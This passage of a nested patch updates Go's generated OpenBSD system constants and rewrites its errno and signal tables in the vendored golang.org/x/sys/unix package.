-- MAP_NOEXTEND = 0x100
-- MAP_NORESERVE = 0x40
-+ MAP_INHERIT_ZERO = 0x3
-+ MAP_NOEXTEND = 0x0
-+ MAP_NORESERVE = 0x0
- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x20
-+ MAP_RENAME = 0x0
- MAP_SHARED = 0x1
-- MAP_TRYFIXED = 0x400
-+ MAP_STACK = 0x4000
-+ MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOPERM = 0x20
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_STALLED = 0x100000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
-+ MSG_CMSG_CLOEXEC = 0x800
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
- MSG_DONTWAIT = 0x80
-@@ -909,11 +987,15 @@ const (
- NET_RT_DUMP = 0x1
- NET_RT_FLAGS = 0x2
- NET_RT_IFLIST = 0x3
-- NET_RT_MAXID = 0x6
-+ NET_RT_IFNAMES = 0x6
-+ NET_RT_MAXID = 0x7
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
-+ NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-+ NOTE_CHANGE = 0x1
- NOTE_CHILD = 0x4
- NOTE_DELETE = 0x1
- NOTE_EOF = 0x2
-@@ -932,11 +1014,13 @@ const (
- NOTE_TRUNCATE = 0x80
- NOTE_WRITE = 0x2
- OCRNL = 0x10
-+ OLCUC = 0x20
- ONLCR = 0x2
- ONLRET = 0x80
- ONOCR = 0x40
- ONOEOT = 0x8
- OPOST = 0x1
-+ OXTABS = 0x4
- O_ACCMODE = 0x3
- O_APPEND = 0x8
- O_ASYNC = 0x40
-@@ -974,23 +1058,32 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-+ RTAX_BFD = 0xb
- RTAX_BRD = 0x7
-+ RTAX_DNS = 0xc
- RTAX_DST = 0x0
- RTAX_GATEWAY = 0x1
- RTAX_GENMASK = 0x3
- RTAX_IFA = 0x5
- RTAX_IFP = 0x4
- RTAX_LABEL = 0xa
-- RTAX_MAX = 0xb
-+ RTAX_MAX = 0xf
- RTAX_NETMASK = 0x2
-+ RTAX_SEARCH = 0xe
- RTAX_SRC = 0x8
- RTAX_SRCMASK = 0x9
-+ RTAX_STATIC = 0xd
- RTA_AUTHOR = 0x40
-+ RTA_BFD = 0x800
- RTA_BRD = 0x80
-+ RTA_DNS = 0x1000
- RTA_DST = 0x1
- RTA_GATEWAY = 0x2
- RTA_GENMASK = 0x8
-@@ -998,34 +1091,39 @@ const (
- RTA_IFP = 0x10
- RTA_LABEL = 0x400
- RTA_NETMASK = 0x4
-+ RTA_SEARCH = 0x4000
- RTA_SRC = 0x100
- RTA_SRCMASK = 0x200
-+ RTA_STATIC = 0x2000
- RTF_ANNOUNCE = 0x4000
-+ RTF_BFD = 0x1000000
- RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_CACHED = 0x20000
- RTF_CLONED = 0x10000
- RTF_CLONING = 0x100
-+ RTF_CONNECTED = 0x800000
- RTF_DONE = 0x40
- RTF_DYNAMIC = 0x10
-- RTF_FMASK = 0x10f808
-+ RTF_FMASK = 0x110fc08
- RTF_GATEWAY = 0x2
- RTF_HOST = 0x4
- RTF_LLINFO = 0x400
-- RTF_MASK = 0x80
-+ RTF_LOCAL = 0x200000
- RTF_MODIFIED = 0x20
- RTF_MPATH = 0x40000
- RTF_MPLS = 0x100000
-+ RTF_MULTICAST = 0x200
- RTF_PERMANENT_ARP = 0x2000
- RTF_PROTO1 = 0x8000
- RTF_PROTO2 = 0x4000
- RTF_PROTO3 = 0x2000
- RTF_REJECT = 0x8
-- RTF_SOURCE = 0x20000
- RTF_STATIC = 0x800
-- RTF_TUNNEL = 0x100000
- RTF_UP = 0x1
- RTF_USETRAILERS = 0x8000
-- RTF_XRESOLVE = 0x200
- RTM_ADD = 0x1
-+ RTM_BFD = 0x12
- RTM_CHANGE = 0x3
- RTM_DELADDR = 0xd
- RTM_DELETE = 0x2
-@@ -1033,11 +1131,13 @@ const (
- RTM_GET = 0x4
- RTM_IFANNOUNCE = 0xf
- RTM_IFINFO = 0xe
-+ RTM_INVALIDATE = 0x11
- RTM_LOCK = 0x8
- RTM_LOSING = 0x5
- RTM_MAXSIZE = 0x800
- RTM_MISS = 0x7
- RTM_NEWADDR = 0xc
-+ RTM_PROPOSAL = 0x13
- RTM_REDIRECT = 0x6
- RTM_RESOLVE = 0xb
- RTM_RTTUNIT = 0xf4240
-@@ -1050,6 +1150,8 @@ const (
- RTV_RTTVAR = 0x80
- RTV_SPIPE = 0x10
- RTV_SSTHRESH = 0x20
-+ RT_TABLEID_BITS = 0x8
-+ RT_TABLEID_MASK = 0xff
- RT_TABLEID_MAX = 0xff
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
-@@ -1062,55 +1164,55 @@ const (
- SIOCADDMULTI = 0x80206931
- SIOCAIFADDR = 0x8040691a
- SIOCAIFGROUP = 0x80286987
-- SIOCALIFADDR = 0x8218691c
- SIOCATMARK = 0x40047307
-- SIOCBRDGADD = 0x8058693c
-- SIOCBRDGADDS = 0x80586941
-- SIOCBRDGARL = 0x806e694d
-+ SIOCBRDGADD = 0x8060693c
-+ SIOCBRDGADDL = 0x80606949
-+ SIOCBRDGADDS = 0x80606941
-+ SIOCBRDGARL = 0x808c694d
- SIOCBRDGDADDR = 0x81286947
-- SIOCBRDGDEL = 0x8058693d
-- SIOCBRDGDELS = 0x80586942
-- SIOCBRDGFLUSH = 0x80586948
-- SIOCBRDGFRL = 0x806e694e
-- SIOCBRDGGCACHE = 0xc0146941
-- SIOCBRDGGFD = 0xc0146952
-- SIOCBRDGGHT = 0xc0146951
-- SIOCBRDGGIFFLGS = 0xc058693e
-- SIOCBRDGGMA = 0xc0146953
-+ SIOCBRDGDEL = 0x8060693d
-+ SIOCBRDGDELS = 0x80606942
-+ SIOCBRDGFLUSH = 0x80606948
-+ SIOCBRDGFRL = 0x808c694e
-+ SIOCBRDGGCACHE = 0xc0186941
-+ SIOCBRDGGFD = 0xc0186952
-+ SIOCBRDGGHT = 0xc0186951
-+ SIOCBRDGGIFFLGS = 0xc060693e
-+ SIOCBRDGGMA = 0xc0186953
- SIOCBRDGGPARAM = 0xc0406958
-- SIOCBRDGGPRI = 0xc0146950
-+ SIOCBRDGGPRI = 0xc0186950
- SIOCBRDGGRL = 0xc030694f
-- SIOCBRDGGSIFS = 0xc058693c
-- SIOCBRDGGTO = 0xc0146946
-- SIOCBRDGIFS = 0xc0586942
-+ SIOCBRDGGTO = 0xc0186946
-+ SIOCBRDGIFS = 0xc0606942
- SIOCBRDGRTS = 0xc0206943
- SIOCBRDGSADDR = 0xc1286944
-- SIOCBRDGSCACHE = 0x80146940
-- SIOCBRDGSFD = 0x80146952
-- SIOCBRDGSHT = 0x80146951
-- SIOCBRDGSIFCOST = 0x80586955
-- SIOCBRDGSIFFLGS = 0x8058693f
-- SIOCBRDGSIFPRIO = 0x80586954
-- SIOCBRDGSMA = 0x80146953
-- SIOCBRDGSPRI = 0x80146950
-- SIOCBRDGSPROTO = 0x8014695a
-- SIOCBRDGSTO = 0x80146945
-- SIOCBRDGSTXHC = 0x80146959
-+ SIOCBRDGSCACHE = 0x80186940
-+ SIOCBRDGSFD = 0x80186952
-+ SIOCBRDGSHT = 0x80186951
-+ SIOCBRDGSIFCOST = 0x80606955
-+ SIOCBRDGSIFFLGS = 0x8060693f
-+ SIOCBRDGSIFPRIO = 0x80606954
-+ SIOCBRDGSIFPROT = 0x8060694a
-+ SIOCBRDGSMA = 0x80186953
-+ SIOCBRDGSPRI = 0x80186950
-+ SIOCBRDGSPROTO = 0x8018695a
-+ SIOCBRDGSTO = 0x80186945
-+ SIOCBRDGSTXHC = 0x80186959
- SIOCDELMULTI = 0x80206932
- SIOCDIFADDR = 0x80206919
- SIOCDIFGROUP = 0x80286989
-+ SIOCDIFPARENT = 0x802069b4
- SIOCDIFPHYADDR = 0x80206949
-- SIOCDLIFADDR = 0x8218691e
-+ SIOCDVNETID = 0x802069af
- SIOCGETKALIVE = 0xc01869a4
- SIOCGETLABEL = 0x8020699a
-+ SIOCGETMPWCFG = 0xc02069ae
- SIOCGETPFLOW = 0xc02069fe
- SIOCGETPFSYNC = 0xc02069f8
- SIOCGETSGCNT = 0xc0207534
- SIOCGETVIFCNT = 0xc0287533
- SIOCGETVLAN = 0xc0206990
-- SIOCGHIWAT = 0x40047301
- SIOCGIFADDR = 0xc0206921
-- SIOCGIFASYNCMAP = 0xc020697c
- SIOCGIFBRDADDR = 0xc0206923
- SIOCGIFCONF = 0xc0106924
- SIOCGIFDATA = 0xc020691b
-@@ -1122,37 +1224,41 @@ const (
- SIOCGIFGMEMB = 0xc028698a
- SIOCGIFGROUP = 0xc0286988
- SIOCGIFHARDMTU = 0xc02069a5
-- SIOCGIFMEDIA = 0xc0306936
-+ SIOCGIFLLPRIO = 0xc02069b6
-+ SIOCGIFMEDIA = 0xc0406938
- SIOCGIFMETRIC = 0xc0206917
- SIOCGIFMTU = 0xc020697e
- SIOCGIFNETMASK = 0xc0206925
-- SIOCGIFPDSTADDR = 0xc0206948
-+ SIOCGIFPAIR = 0xc02069b1
-+ SIOCGIFPARENT = 0xc02069b3
- SIOCGIFPRIORITY = 0xc020699c
-- SIOCGIFPSRCADDR = 0xc0206947
- SIOCGIFRDOMAIN = 0xc02069a0
- SIOCGIFRTLABEL = 0xc0206983
-- SIOCGIFTIMESLOT = 0xc0206986
-+ SIOCGIFRXR = 0x802069aa
- SIOCGIFXFLAGS = 0xc020699e
-- SIOCGLIFADDR = 0xc218691d
- SIOCGLIFPHYADDR = 0xc218694b
-+ SIOCGLIFPHYDF = 0xc02069c2
- SIOCGLIFPHYRTABLE = 0xc02069a2
- SIOCGLIFPHYTTL = 0xc02069a9
-- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGSPPPPARAMS = 0xc0206994
-+ SIOCGUMBINFO = 0xc02069be
-+ SIOCGUMBPARAM = 0xc02069c0
- SIOCGVH = 0xc02069f6
-+ SIOCGVNETFLOWID = 0xc02069c4
- SIOCGVNETID = 0xc02069a7
-+ SIOCIFAFATTACH = 0x801169ab
-+ SIOCIFAFDETACH = 0x801169ac
- SIOCIFCREATE = 0x8020697a
- SIOCIFDESTROY = 0x80206979
- SIOCIFGCLONERS = 0xc0106978
- SIOCSETKALIVE = 0x801869a3
- SIOCSETLABEL = 0x80206999
-+ SIOCSETMPWCFG = 0x802069ad
- SIOCSETPFLOW = 0x802069fd
- SIOCSETPFSYNC = 0x802069f7
- SIOCSETVLAN = 0x8020698f
-- SIOCSHIWAT = 0x80047300
- SIOCSIFADDR = 0x8020690c
-- SIOCSIFASYNCMAP = 0x8020697d
- SIOCSIFBRDADDR = 0x80206913
- SIOCSIFDESCR = 0x80206980
- SIOCSIFDSTADDR = 0x8020690e
-@@ -1160,25 +1266,36 @@ const (
- SIOCSIFGATTR = 0x8028698c
- SIOCSIFGENERIC = 0x80206939
- SIOCSIFLLADDR = 0x8020691f
-- SIOCSIFMEDIA = 0xc0206935
-+ SIOCSIFLLPRIO = 0x802069b5
-+ SIOCSIFMEDIA = 0xc0206937
- SIOCSIFMETRIC = 0x80206918
- SIOCSIFMTU = 0x8020697f
- SIOCSIFNETMASK = 0x80206916
-- SIOCSIFPHYADDR = 0x80406946
-+ SIOCSIFPAIR = 0x802069b0
-+ SIOCSIFPARENT = 0x802069b2
- SIOCSIFPRIORITY = 0x8020699b
- SIOCSIFRDOMAIN = 0x8020699f
- SIOCSIFRTLABEL = 0x80206982
-- SIOCSIFTIMESLOT = 0x80206985
- SIOCSIFXFLAGS = 0x8020699d
- SIOCSLIFPHYADDR = 0x8218694a
-+ SIOCSLIFPHYDF = 0x802069c1
- SIOCSLIFPHYRTABLE = 0x802069a1
- SIOCSLIFPHYTTL = 0x802069a8
-- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSSPPPPARAMS = 0x80206993
-+ SIOCSUMBPARAM = 0x802069bf
- SIOCSVH = 0xc02069f5
-+ SIOCSVNETFLOWID = 0x802069c3
- SIOCSVNETID = 0x802069a6
-+ SIOCSWGDPID = 0xc018695b
-+ SIOCSWGMAXFLOW = 0xc0186960
-+ SIOCSWGMAXGROUP = 0xc018695d
-+ SIOCSWSDPID = 0x8018695c
-+ SIOCSWSPORTNO = 0xc060695f
-+ SOCK_CLOEXEC = 0x8000
- SOCK_DGRAM = 0x2
-+ SOCK_DNS = 0x1000
-+ SOCK_NONBLOCK = 0x4000
- SOCK_RAW = 0x3
- SOCK_RDM = 0x4
- SOCK_SEQPACKET = 0x5
-@@ -1209,9 +1326,42 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ SO_ZEROIZE = 0x2000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
-+ TCIOFF = 0x3
- TCIOFLUSH = 0x3
-+ TCION = 0x4
- TCOFLUSH = 0x2
-+ TCOOFF = 0x1
-+ TCOON = 0x2
- TCP_MAXBURST = 0x4
- TCP_MAXSEG = 0x2
- TCP_MAXWIN = 0xffff
-@@ -1221,11 +1371,12 @@ const (
- TCP_MSS = 0x200
- TCP_NODELAY = 0x1
- TCP_NOPUSH = 0x10
-- TCP_NSTATES = 0xb
- TCP_SACK_ENABLE = 0x8
- TCSAFLUSH = 0x2
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
-+ TIOCCHKVERAUTH = 0x2000741e
-+ TIOCCLRVERAUTH = 0x2000741d
- TIOCCONS = 0x80047462
- TIOCDRAIN = 0x2000745e
- TIOCEXCL = 0x2000740d
-@@ -1280,17 +1431,22 @@ const (
- TIOCSETAF = 0x802c7416
- TIOCSETAW = 0x802c7415
- TIOCSETD = 0x8004741b
-+ TIOCSETVERAUTH = 0x8004741c
- TIOCSFLAGS = 0x8004745c
- TIOCSIG = 0x8004745f
- TIOCSPGRP = 0x80047476
- TIOCSTART = 0x2000746e
-- TIOCSTAT = 0x80047465
-+ TIOCSTAT = 0x20007465
- TIOCSTI = 0x80017472
- TIOCSTOP = 0x2000746f
- TIOCSTSTAMP = 0x8008745a
- TIOCSWINSZ = 0x80087467
- TIOCUCNTL = 0x80047466
-+ TIOCUCNTL_CBRK = 0x7a
-+ TIOCUCNTL_SBRK = 0x7b
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x1
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1301,6 +1457,18 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_ANONMIN = 0x7
-+ VM_LOADAVG = 0x2
-+ VM_MAXID = 0xc
-+ VM_MAXSLP = 0xa
-+ VM_METER = 0x1
-+ VM_NKMEMPAGES = 0x6
-+ VM_PSSTRINGS = 0x3
-+ VM_SWAPENCRYPT = 0x5
-+ VM_USPACE = 0xb
-+ VM_UVMEXP = 0x4
-+ VM_VNODEMIN = 0x9
-+ VM_VTEXTMIN = 0x8
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1313,8 +1481,8 @@ const (
- WCONTINUED = 0x8
- WCOREFLAG = 0x80
- WNOHANG = 0x1
-- WSTOPPED = 0x7f
- WUNTRACED = 0x2
-+ XCASE = 0x1000000
- )
-
- // Errors
-@@ -1328,6 +1496,7 @@ const (
- EALREADY = syscall.Errno(0x25)
- EAUTH = syscall.Errno(0x50)
- EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x5c)
- EBADRPC = syscall.Errno(0x48)
- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x58)
-@@ -1354,7 +1523,7 @@ const (
- EIPSEC = syscall.Errno(0x52)
- EISCONN = syscall.Errno(0x38)
- EISDIR = syscall.Errno(0x15)
-- ELAST = syscall.Errno(0x5b)
-+ ELAST = syscall.Errno(0x5f)
- ELOOP = syscall.Errno(0x3e)
- EMEDIUMTYPE = syscall.Errno(0x56)
- EMFILE = syscall.Errno(0x18)
-@@ -1382,12 +1551,14 @@ const (
- ENOTCONN = syscall.Errno(0x39)
- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x42)
-+ ENOTRECOVERABLE = syscall.Errno(0x5d)
- ENOTSOCK = syscall.Errno(0x26)
- ENOTSUP = syscall.Errno(0x5b)
- ENOTTY = syscall.Errno(0x19)
- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x2d)
- EOVERFLOW = syscall.Errno(0x57)
-+ EOWNERDEAD = syscall.Errno(0x5e)
- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x2e)
- EPIPE = syscall.Errno(0x20)
-@@ -1395,6 +1566,7 @@ const (
- EPROCUNAVAIL = syscall.Errno(0x4c)
- EPROGMISMATCH = syscall.Errno(0x4b)
- EPROGUNAVAIL = syscall.Errno(0x4a)
-+ EPROTO = syscall.Errno(0x5f)
- EPROTONOSUPPORT = syscall.Errno(0x2b)
- EPROTOTYPE = syscall.Errno(0x29)
- ERANGE = syscall.Errno(0x22)
-@@ -1452,132 +1624,144 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ENOTSUP", "not supported"},
-+ {92, "EBADMSG", "bad message"},
-+ {93, "ENOTRECOVERABLE", "state not recoverable"},
-+ {94, "EOWNERDEAD", "previous owner died"},
-+ {95, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go
-index 3ed0b260..7aa796a6 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go
-@@ -1,11 +1,11 @@
- // mkerrors.sh
